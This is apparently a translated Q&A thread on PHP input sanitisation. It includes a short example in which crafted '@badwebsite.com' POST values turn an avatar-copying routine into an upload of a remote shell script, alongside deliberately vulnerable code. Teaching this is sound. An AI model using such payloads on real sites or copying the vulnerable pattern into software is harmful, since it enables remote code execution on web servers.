PHP漏洞(XSS,..)>;用户输入/url注入什么时候会真正造成危害


PHP Vulnerability (XSS, ...) > When can user input/url injection actually do harm?

希望这个问题不要太具体,所以…

我的问题是,我什么时候真正需要注意如何处理脆弱的变量,什么时候不需要。例如,使用这样的东西显然是不安全的。。。

echo $_POST['username']; // insecure !!!

在您的模板中$_GET和$_SERVER变量也被认为是易受攻击的。所以在"使用"它们之前,我必须对它们进行消毒。但在这种情况下"使用"意味着什么。不安全的情况是,例如用echo输出它们,将它们未经过滤地写入数据库,或将它们放在任何其他打开的上下文中。另一方面,将它们与其他变量进行比较,如。。。

if ($_SESSION['username'] === $_POST['username']) {};

或者将它们嵌入到一个变量中,比如。。。

$file = 'http://www.example.com/users/' . $_POST['username']; // insecure !!! see Tom's answer

然后检查。。。

if (file_exists($file)) {};

换句话说,将它们保存在某种程度上关闭的上下文中是安全的,不是吗?(在我看来,$file示例在安全性方面可以被视为边界,但用这种方式,我认为可以吗?)。也许有人也知道打开关闭上下文之间的区别不太清楚的情况(我希望在我的例子中是这样)。

感谢

这取决于您将如何处理该文件。username字段可以传递一些内容,将您指向不在该网站上的文件,如:

$_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];

将解析为http://not-the-site-you-want.com/bad_stuff.html,并且对于file_exists($file);仍将返回true。

让我们尝试一个"真实世界"的例子,说明为什么您不想只注入$_POST变量,然后信任结果。

假设我们将从在线来源检索用户的图片(如以下图片:http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50)并将其存储在本地:

$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
    // Now we have the image stored on our local system
    copy($image, 'assets/' . $username);
}

用户提供以下信息:

$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';

您现在刚刚将一个shell脚本上传到您的网站,该脚本将在http://www.mywebsite.com/assets/shell_script.php

一半的安全是了解基本知识并加以限制。另一半是想办法让别人绕过你实施的限制。您的代码可能不受SQL注入和XSS的影响,但如果您在每个页面请求中传递is_admin标志作为参数并遵守它,那么就会有人发现它并滥用它。

你应该养成这样的习惯,即如果你编写的代码暴露在全世界,那么它就会被尝试。如果你花时间担心哪些输入需要消毒,哪些不需要,你会犯错误,使你的应用程序容易受到攻击。

一旦你学会了如何对输入进行消毒,就不需要那么多努力,如果你养成了这样做的习惯,你就会减少可能受到攻击的暴露区域。应用程序安全性不是"只修复重要的东西",而是在构建整个应用程序时考虑到安全性。

不要让坏人的工作更轻松。